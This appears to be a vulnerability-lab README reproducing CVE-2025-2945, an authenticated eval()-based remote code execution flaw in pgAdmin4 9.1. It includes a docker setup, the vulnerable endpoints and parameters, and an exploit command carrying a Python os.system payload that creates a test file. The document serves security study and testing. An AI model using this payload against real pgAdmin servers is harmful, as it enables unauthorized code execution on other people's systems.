# pgAdmin4 <= 9.1 Authenticated Remote Code Execution (CVE-2025-2945)

[中文版本(Chinese version)](README.zh-cn.md)

pgAdmin is a popular and feature-rich Open Source administration and development platform for PostgreSQL, widely used by database administrators and developers for managing PostgreSQL databases through a web-based interface.

A remote code execution vulnerability exists in pgAdmin4 versions prior to 9.2. The vulnerability is associated with two POST endpoints: `/sqleditor/query_tool/download` where the `query_commited` parameter and `/cloud/deploy` endpoint where the `high_availability` parameter are unsafely passed to the Python `eval()` function, allowing authenticated attackers to execute arbitrary code on the server. This issue affects pgAdmin 4 versions before 9.2.

References:

- <https://nvd.nist.gov/vuln/detail/CVE-2025-2945>
- <https://github.com/advisories/GHSA-g73c-fw68-pwx3>
- <https://github.com/pgadmin-org/pgadmin4/issues/8603>
- <https://github.com/pgadmin-org/pgadmin4/commit/75be0bc22d3d8d7620711835db817bd7c021007c>

## Environment Setup

Execute the following command to start a pgAdmin4 9.1 server with PostgreSQL database:

```
docker compose up -d
```

After the server starts, visit <http://localhost:5050/> to access the pgAdmin4 login page. The default pgAdmin4 credentials are `vulhub@example.com:vulhub`.

Exploiting this vulnerability requires an accessible PostgreSQL database instance to initialize the SQL editor. A PostgreSQL database is already included in the docker-compose.yml and pre-configured in pgAdmin4's server list with credentials `vulhub:vulhub`.

## Vulnerability Reproduction

To reproduce this vulnerability, you can use Metasploit's `exploit/multi/http/pgadmin_query_tool_authenticated` module or the standalone Python script from <https://github.com/Cycloctane/cve-2025-2945-poc/blob/main/exp.py>.

Run the exploit script with a simple file creation payload to verify code execution:

```bash
./exp.py --target-url http://<your-ip>:5050 \
    --username vulhub@example.com --password vulhub \
    --db-user vulhub --db-pass vulhub --db-name vulhub \
    --payload "__import__('os').system('touch /tmp/success')"
```

After successful execution, verify that the file was created by checking the container:

```bash
docker compose exec web ls -al /tmp/
```

You should see the `success` file in the `/tmp/` directory, confirming that arbitrary code execution was achieved through the vulnerable `eval()` function.

![exp](1.png)
